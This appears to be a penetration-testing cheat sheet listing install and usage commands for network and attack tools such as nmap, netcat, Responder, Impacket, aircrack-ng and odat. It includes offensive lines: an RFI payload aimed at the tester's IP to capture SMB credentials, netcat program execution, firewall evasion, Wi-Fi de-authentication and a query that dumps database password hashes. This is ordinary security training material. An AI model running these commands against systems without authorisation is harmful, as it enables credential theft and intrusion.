Tools and Utilities

Here are some tools and utilities commonly used for practices related to networks:

OpenVPN

  • VPN system which implements both client and server applications, including a command-line utility

Commands

  • Installation

sudo apt install openvpn

  • Connect to a VPN

sudo openvpn $ovpnfile

SmbClient

  • Tool for accessing a server using the SMB protocol

Commands

  • Installation

sudo apt install smbclient

  • Connect and interact with an SMB server

smbclient -I $IP    #Connect to server
smbclient -L $IP -N #List elements on the server without providing a password 
smbclient //$IP/$ShareName       #Acces to a shared instance
smbclient \\\\$IP\\$ShareName    #Alternative
smbclient //$IP/$ShareName $username #Connect indicating a username
smbclient //$IP/$ShareName -c "$comand" #Execute a command
smb: \>                 #Text based interface
smb: \> get $filename   #Download a file
smb: \> put $filename   #Upload a file
smb: \> exit            #Close connection

Responder

  • Help in the passive obtention of credentials by mounting an SMB server on the web that intercepts internal communication from this protocol

Commands

  • Install

sudo apt install responder

  • Change configuration file

sudo nano /usr/share/responder/Responder.conf #Installed here by default

  • Initialize tool

sudo responder -I $networkinterface

If we get an error in any port, we have to update the Responder.conf file and set to off the value of the service related to that port

  • Abuse an RFI on a web page to intercept SMB credentials

http://$url/$query?$value=//$myip/somefile

If the process works, we will see the server catch the credentials

Tcpdump

  • Command-line packet analyzer tool used to capture and inspect network traffic sent via the TPC protocol in real-time

Commands

  • Install

sudo apt install tcpdump

  • Set up listener

sudo tcpdump -i $networkInterface port $port

Netcat

  • Unix utility which reads and writes data across network connections

  • Can act as a server or as a listener

  • By default makes a TCP connection but can be used with TCP or UDP protocol

Commands

  • Install

sudo apt install netcat-traditional

  • Start netcat

nc $hostname $port
nc -n $IP $port        #Use only numeric IP no DNS
nc -v $hostname $port  #Verbose Output

  • Start in listen mode

nc -l -p $port
nc -nvlp $port     #The best way to make it

  • Make a file transmission

nc -nvlp $port > $incomingfile  #From listening side
nc -n -v -p $port < $file       #From sender side

#From the listening side
$incomingfile -h    #Check if the transmission was correct

  • Execute a program over the server

nc -l -p $port -e $program

  • Interact with network protocols

#Example
sudo nc $ip 80 #We connect to HTTP service

#We send a petition
GET / HTTP/1.1
host: netcat      #After finishing hit enter to send

To make a line jump is necessary to press Shift+Enter

Nmap

  • Open source tool for network exploration and security auditing which works as a network mapper

Scan types

  • SYN scans are also known as Half-open or Stealth. They are stealthier than Connect scans

  • The difference between Connect and SYN scans is that Connect performs a full three-way handshake with the target. Instead of that SYN scans send back an RST packet after receiving an SYN/ACK

  • The UDP scans are slower than TCP scans

  • In UDP scans if the port is open it will send no response and will be marked as open|filtered. If there's a response will be marked as open. If it's closed, the target responds with an ICMP packet containing a message that the port is unreachable

  • NULL, FIN, Xmas, and ACK scans are stealthier than SYN or UDP scans, usually used for firewall evasion

  • NULL scans send a TCP request with no flags, the target host responds with RST if the port is closed

  • FIN scans send a TCP request with the FIN flag, used to gracefully close an active connection, the target host responds with RST if the port is closed

  • Xmas scans send a malformed TCP packet, and the target host responds with RST if the port is closed

  • Microsoft Windows may respond to a NULL, FIN or Xmas scan with a RST for every port

NSE

  • The Nmap Scripting Engine is a library of scripts written in Lua that can be used for scanning vulnerabilities and automating exploits for them.

  • Every script has a category related to its use scenario

  • By default nmap stores scripts in /usr/share/nmap/scripts/script.db

Port State

  • Open: This indicates that the connection to the scanned port has been established

  • Closed: TCP protocol indicates that the packet we received back contains an RST flag. Can be used to determine if a target is alive or not

  • Filtered: Cannot correctly identify whether the scanned port is open or closed because it got no response or an error code from the target

  • Unfiltered: Only occurs during the TCP-ACK scan and means that the port is accessible, but it cannot be determined if it's open or closed

  • Open|filtered: Didn't get a response, so a firewall or packet filter could be protecting the port

  • Closed|filtered: Only occurs in the IP ID idle scans, indicating it was impossible to determine if a port is closed or filtered by a firewall

Commands

  • Install

sudo apt install nmap

  • Basic scans

nmap $scantype $options $target #General syntax
nmap $ip  #Scan an IP
nmap $domain  #Scan an IP using domain
nmap $ip1 $ip2  # Scan some IPs
nmap x.x.x.$range1-$range2 #Scan a range of IPs
nmap x.x.x.x/$mask  #Scan using CIDR notation
nmap -iL $inputfile #Scan using the IPs from a list
nmap -iR $number #Scan random hosts
nmap --exclude $ip  #Scan excluding an specific IP
nmap --excludefile $file #Scan excluding the IPs from a list

  • TCP scan

nmap -sT $target  #TCP Connect scan, default if run without sudo
nmap -sS $target  #TCP SYN scan, default if run with sudo
nmap -sN $target  #TCP Null scan, good for firewall evasion
nmap -sF $target  #TCP FIN scan, good for firewall evasion
nmap -sX $target  #TCP Xmas scan, good for firewall evasion
nmap -sA $target  #TCP ACK scan, good for firewall evasio

  • UDP scan

nmap -sU $target

  • Select which port scan

nmap -p $port $target
nmap -p $port-port $target   #Select a range of ports
nmap -p- $target             #Scan all ports
nmap --top-ports $numberofports $target   #Specify the most common ports
nmap -F $target   #Scan the 100 most common ports

  • Scan without checking if target is alive

nmap -Pn $target #Don't ping a port to confirm if it is alive
nmap --disable-arp-ping $target #Don't ping a port via ARP

  • Only make host discovery

sudo nmap -sn $target
sudo nmap -sn -PR $target #Only ARP scan
sudo nmap -sn -PE $target #Make ICMP echo request
sudo nmap -sn -PP $target #Make ICMP timestamp request
sudo nmap -sn -PM $target #Make address mask request
sudo nmap -sn -PS $ports $target #Use TCP SYN ping
sudo nmap -sn -PA $ports $target #Use TCP ACK ping
sudo nmap -sn -PU $ports $target #Use UDP ping

If ICMP scans return MAC addresses, it means the hosts are in the same subnet

  • DNS resolution

sudo nmap -n $target #Don't use reverse DNS
sudo nmap -R $target #Use reverse DNS even with offline hosts

  • Detect OS

nmap -O $target

  • Get the version of services running

nmap -sV $target

  • List hosts to be scanned without scanning them

nmap -sL $targets

  • Increase verbosity level of output

nmap -v $target
nmap -vv $target      #Level 2 verbosity, MOST recommended
nmap -vvv $target     #Level 3 verbosity

  • Specified Output Format

nmap -oN $target  #Normal output
nmap -oX $target  #XML Format
nmap -oG $target  #Grepable Format
nmap -oA $target  #All 3 Formats at once

  • Increase the speed the scan runs at

nmap -T $timinglevel $target
nmap --min-rate $number $target #Specify the numbers of sent packets per second

This mode is louder than normal

  • Use scripts from the NSE library

nmap -sC $target    #Script scan
nmap --script=$scriptfile  $target
nmap --script=$category  $target  #Active all scripts in the category
nmap -p $port --script=$script --script-args $script.$arg='$argvalue' #Pass arguments to a script
sudo nmap --script-updatedb    #Update script database
grep $keyword /usr/share/nmap/scripts/script.db    #Search scripts using grep
ls -l /usr/share/nmap/scripts/*$keyword*           #Search scripts using ls
find / -type f -name ftp* 2>/dev/null | grep scripts #Search scripts using find
#Common scripts
nmap $IP -p445 --script=smb-enum-users.nse    #Enumerate SMB users
nmap $IP -p445 --script=smb-enum-groups.nse   #Enumerate SMB groups
nmap $IP -p445 --script smb-enum-shares.nse   #Enumerate SMB shares
nmap $IP -p445 --script smb-enum-processes.nse #Enunerate SMB processes
nmap $IP --script=http-enum                    #Enumerate HTTP services
nmap -sVC -p21 $IP --script=trace              #Enumerate FTP services
nmap $IP -p25 --script=smtp-commands #List available commands on an SMTP server
nmap $IP -p25 --script=smtp-open-relay #identify an SMTP server as an open relay

  • Fragment packets sent in a scan

nmap $target -f   
nmap $target -mpu $number   #Specify packet's length

The length of packets must be a multiple of 8

  • Specify the delay between packets sent

nmap $target --scan-delay $number ms

  • Generate invalid checksum for packets

nmap $target --badsum

  • Append an arbitrary length of random data to the end of packets

nmap $target --data-length  $number

  • Specify the number of retries if a packet gets dropped or blocked

nmap $target --max-retries $number

  • For firewall evasion

nmap $target -Pn -n -S $myIP -e $interface #Use different Source IP
nmap $target -Pn -n --disable-arp-ping -D RND:$number $target #Use Decoys to vary between random IPs
nmap $target -Pn -n --disable-arp-ping --source-port 53 #Use DNS service as proxy

ARP-Scan

  • Tool for making host discovery via ARP protocol

  • Only devices in the same subnet can be discovered

Commands

  • Install

sudo apt install arp-scan

  • Scan options

arp-scan $tagetRange
arp-scan -l                           #Scan local network
arp-scan $tagetRange -I $netInterface #Specify which network interface to use

Masscan

  • Tool for making port scanning, which is optimized for speed, making it particularly useful for large-scale scans

Commands

  • Install

sudo apt install masscan

  • Scan options

masscan $targetRange -p $ports
masscan $targetRange ‐‐top-ports $number #Specify number of most used ports

Docker

  • An open-source platform that allows to build, package, and run applications in isolated environments called containers

Commands

  • Install

sudo apt install docker-ce docker-ce-cli containerd.io
sudo apt install docker-compose-plugin #Install docker-compose

  • Manage containers and images

sudo docker rm $containerID #Delete a container
sudo docker build . #Build an image from a Dockerfile in the actual folder
sudo docker image ls #List all installed images
sudo docker image rm $imageID #Delete a installed image
sudo docker container ls        #List all running containers
sudo docker run $containerID    #Run container using ID
sudo docker run $containerName  #Run container using Name
sudo docker run $containerName --rm #Run container but deleted when done
sudo docker run $containerName -p $hostPort:$containerPort #Specificate run ports
sudo docker container stop $containerID #Stop a running container
sudo docker compose up -d #Use .yml file to run various containers in the background

onesixtyone

  • Is an SNMP scanner used to brute force the community string names

Commands

  • Install 

sudo apt install onesixtyone

  • Usage

onesixtyone -c $dictionary $IP

xfreerdp

  • An open-source implementation for the RDP protocol

Commands

  • Install 

sudo apt install freerdp2-x11

  • Usage

xfreerdp /v:$host #Conenct to a remote machine
xfreerdp /v:$host /u:$username #Connect as a user without providing a password
xfreerdp /v:$host /u:$username /p:$password #Connect as a user providing password

Rsync

  • Command-line tool for fast, flexible, and efficient file and directory synchronization and transfer between two locations

Commands

  • Install 

sudo apt install rsync

  • Usage

rsync $IP #Connect to the remote service
rsync --list-only $IP #Just list the contents
rsync 10.129.197.128:: #When the target is using a daemon instead of SSH
rsync --list-only $IP::$foldername #List content fo a folder
rsync $IP::$foldername/$filename $localroute #Transfer a shared file

Impacket

  • Collection of Python classes for working with network protocols

Commands

  • Installation

sudo apt install python3-impacket

  • Use of scripts

sudo impacket-$scriptname $options
#Common scripts
sudo impacket-mssqlclient  $hostname/$user@$ip #Connect to MS SQL server
sudo impacket-mssqlclient  $hostname/$user@$ip -windows-auth #Use Windows authentication to connect to MS SQL server
sudo impacket-psexec $username@$IP #Connect to the network service of a host
sudo impacket-samrdump $IP #Bruteforce SMB user RDIs
sudo impacket-wmiexec $username:"$password"@$IP "$hostname" #Chech WMI protocol

Scapy

  • Powerful interactive packet manipulation library written in Python, used to forge or decode packets of a wide number of protocols, send, capture them, match requests and replies, and much more

Commands

  • Install

pip install scapy

  • Usage

sudo scapy #Enter interactive mode
>>> send(IP(dst="$IP")/ICMP()/"$Payload") #Send a ICMP package
>>> ls() #List all available formats and protocols
>>> ls($Protocol) #List all options and fields of a protocol or packet format
>>> explore() #Navigate Scapy layers and protocols
>>> explore($Protocol) #Navigate a specific protocol or packet format

Tshark

  • Packet capture tool used to capture ICMP packets. Comes by default in the Wireshark tool packet

Commands

  • Install

sudo apt install wireshark

  • Usage

sudo tshark host $IP

Aircrack-ng

  • Wireless security toolset used for monitoring, attacking, testing, and cracking Wi-Fi networks

Commands

  • Install

sudo apt install aircrack-ng

  • Usage

airmon-ng start $NIC $channel    #Start monitoring
airodump-ng $NIC                 #Sniff wireless packets
aireplay-ng -0 0 -a $MAC $NIC    #Do de-authentication attack

rpcclient

  • Central tool to realize operational and work-sharing structures in networks and client-server architectures, useful for enumeration of SMB protocol

Commands

  • Install

sudo apt install rpcclient

  • Usage

rpcclient -U "$username" $IP # Conect to a host
rpcclient -U "" $IP          # Connect anonymously
rpcclient $> srvinfo	     # Get server information.
rpcclient $> enumdomains     # Enumerate all deployed domains
rpcclient $> querydominfo    # Get domain, server, and user information
rpcclient $> netshareenumall # Enumerate all available shares
rpcclient $> netsharegetinfo $share #Provide information about a share
rpcclient $> enumdomusers    # Enumerate all domain users
rpcclient $> queryuser $userID # Provide information about a user
rpcclient $> querygroup $groupID # Provide information about a user

smbmap

  • Security tool used for enumerating and interacting with SMB shares on a network

Commands

  • Install

sudo apt install smbmap

  • Usage

smbmap -H $IP

CrackMapExec

  • Powerful post-exploitation tool used for network reconnaissance, credential validation, and lateral movement in Windows Active Directory (AD) environments

Commands

  • Install

sudo apt install crackmapexec

  • Usage

crackmapexec smb $IP --shares -u '$username' -p '$password' #Enumerate
crackmapexec smb $IP --shares -u '' -p '' #Enumerate anonymously

smtp-user-enum

  • Tool for making user enumeration for the SMTP protocol

Commands

  • Install

sudo apt install smtp-user-enum

  • Usage

smtp-user-enum -M $smtpCommand -U $usersFile -t $IP

#Example
smtp-user-enum -M VRFY -U $wordlist -t $IP -w 15 -v

snmpwalk

  • Tool for getting information about the community string for an SNMP protocol

Commands

  • Install

sudo apt install snmpwalk

  • Usage

snmpwalk -v2c -c public $IP #

odat

  • Oracle Database Attacking Tool, an open-source penetration testing tool that tests the security of Oracle databases remotely

Commands

  • Install the tool and required components using the following script

Oracle_Tools.sh
#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=/home/kali/Downloads/odat/instantclient_21_12:$PATH
sudo apt install python3-cx-oracle -y
sudo apt-get install python3-scapy -y
sudo apt install python3-colorlog python3-termcolor python3-passlib python3-libnmap -y
sudo apt-get install build-essential libgmp-dev -y
sudo apt install python3-pycryptodome -y
sed -i '9s/.*/from Cryptodome.Cipher import AES/' CVE_2012_3137.py

The first time running odat there will be some errors, but it's normal and won't appear later

  • Usage

./odat.py -h #Get help many, use to confirm installation was successful
./odat.py all -s $IP #Scan target using all modules
./sqlplus $User/$Password@$IP/$SIDfound #Log as an user
./sqlplus $User/$Password@$IP/$SIDfound as sysdba #Log as System Database Admin

#Once inside the database
SQL> select table_name from all_tables; #Get table names
SQL> select * from user_role_privs; #Check the privileges of the user
SQL> select name, password from sys.user$; #Get passwords form users

vnstat

  • Lightweight command-line network traffic monitoring that tracks bandwidth usage per network interface using data from the kernel

Commands

  • Install

sudo apt install vnstat

  • Usage

vnstat -l -i $interface
PreviousRelated ConceptsNextIntroduction

Last updated